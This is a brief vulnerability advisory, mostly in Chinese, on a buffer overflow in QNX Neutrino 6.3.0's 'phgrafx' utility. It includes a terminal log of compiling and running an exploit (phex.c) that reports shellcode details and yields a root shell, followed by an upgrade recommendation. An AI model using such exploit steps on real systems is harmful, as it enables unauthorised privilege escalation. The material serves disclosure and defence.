CVE:CVE-2006-0622
CNNVD:CNNVD-200602-117
QNX Neutrino是嵌入式设备的微内核实时操作系统。
QNX Neutrino的"phgrafx"工具中存在缓冲区溢出漏洞，恶意用户可以利用这个漏洞在本地获得权限提升。
例如：
qnx$ uname -a; id
QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
uid=6(deadbeef) gid=1(bin) groups=0(root)，3(sys)，4(adm)，5(tty)
qnx$ gcc phex.c -o phex -W
qnx$ ./phex
shellcode length: 21
address: 0x8047a2c
Warning: can not find palette under '55°| &Oslash;H &aelig;1°'.
# id
uid=6(deadbeef) gid=1(bin) euid=0(root) groups=0(root)，3(sys)，4(adm)，5(tty)
#
solution:Upgrade qnx rtos to a higher version than 6.3.0,and avoid the version 6.3.0